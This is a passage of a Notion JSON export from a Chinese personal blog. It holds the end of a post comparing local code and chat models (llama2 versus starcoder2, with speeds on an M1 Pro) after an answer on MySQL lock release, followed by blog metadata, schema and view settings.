lock."]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"8b44dcb2-d944-4983-9c68-ff1d8e23825b":{"value":{"id":"8b44dcb2-d944-4983-9c68-ff1d8e23825b","type":"numbered_list","properties":{"title":[["The time of release lock: When a session releases the lock on a row or set of rows, the lock is immediately released, and other sessions can then acquire the lock again. There is no specific \"time of release\" for locks in MySQL; instead, the lock is released as soon as the current session commits or rolls back the transaction. 🔒"]]},"created_time":1711431505872,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"f9d3a393-9d76-4add-88b5-3f03e58614af":{"value":{"id":"f9d3a393-9d76-4add-88b5-3f03e58614af","type":"text","properties":{"title":[["I hope this helps clarify the locking mechanism in MySQL! Let me know if you have any other questions or concerns. 😊"]]},"created_time":1711431505872,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"440e5ba9-2309-4223-9df2-50ca1b67e237":{"value":{"id":"440e5ba9-2309-4223-9df2-50ca1b67e237","type":"header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833151,"last_edited_time":1711360982676,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"04273a50-0752-4c70-a1c5-d63b004d565a":{"value":{"id":"04273a50-0752-4c70-a1c5-d63b004d565a","type":"bulleted_list","properties":{"title":[["llama2效果不错,starcoder2不知所云"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833151,"last_edited_time":1711431747530,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"58f477d0-e338-4fe8-9cf2-e0a3264bf5cf":{"value":{"id":"58f477d0-e338-4fe8-9cf2-e0a3264bf5cf","type":"bulleted_list","properties":{"title":[["m1pro+32g环境下,4b模型在本地运行速度还可以,15b运行起来就特别吃力"]]},"created_time":1711432113232,"last_edited_time":1711432147190,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"e1da917b-bb71-4252-9f5f-d1c997b18551":{"value":{"id":"e1da917b-bb71-4252-9f5f-d1c997b18551","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"9e9a91b1-4853-4e82-be32-ac8af17739b0":{"value":{"id":"9e9a91b1-4853-4e82-be32-ac8af17739b0","type":"column_list","content":["efee572a-8601-404e-9dfb-74c4f2f669bc","3147a22c-843a-46c3-a4d0-89eb62b6bd7e","d8150945-8bbf-4df1-8e0e-dea8d8f5e04e"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"189b1da9-975a-42da-a706-02494cb76d01":{"value":{"id":"189b1da9-975a-42da-a706-02494cb76d01","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}},"efee572a-8601-404e-9dfb-74c4f2f669bc":{"value":{"id":"efee572a-8601-404e-9dfb-74c4f2f669bc","type":"column","content":["4d04175f-a93b-49b6-a609-74961770136f"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"9e9a91b1-4853-4e82-be32-ac8af17739b0","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"3147a22c-843a-46c3-a4d0-89eb62b6bd7e":{"value":{"id":"3147a22c-843a-46c3-a4d0-89eb62b6bd7e","type":"column","content":["1fe1e95a-cd49-421a-b7a7-916a18f2655d","17ce2e3c-f255-464e-8b1d-64ab9c7648c3"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"9e9a91b1-4853-4e82-be32-ac8af17739b0","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"d8150945-8bbf-4df1-8e0e-dea8d8f5e04e":{"value":{"id":"d8150945-8bbf-4df1-8e0e-dea8d8f5e04e","type":"column","content":["57be63c6-8825-4b09-ab16-3014cdee1119"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"9e9a91b1-4853-4e82-be32-ac8af17739b0","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"4d04175f-a93b-49b6-a609-74961770136f":{"value":{"id":"4d04175f-a93b-49b6-a609-74961770136f","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"efee572a-8601-404e-9dfb-74c4f2f669bc","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"1fe1e95a-cd49-421a-b7a7-916a18f2655d":{"value":{"id":"1fe1e95a-cd49-421a-b7a7-916a18f2655d","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["i"],["b"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"3147a22c-843a-46c3-a4d0-89eb62b6bd7e","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"17ce2e3c-f255-464e-8b1d-64ab9c7648c3":{"value":{"id":"17ce2e3c-f255-464e-8b1d-64ab9c7648c3","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"3147a22c-843a-46c3-a4d0-89eb62b6bd7e","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"57be63c6-8825-4b09-ab16-3014cdee1119":{"value":{"id":"57be63c6-8825-4b09-ab16-3014cdee1119","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1711360833153,"last_edited_time":1711360833153,"parent_id":"d8150945-8bbf-4df1-8e0e-dea8d8f5e04e","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d30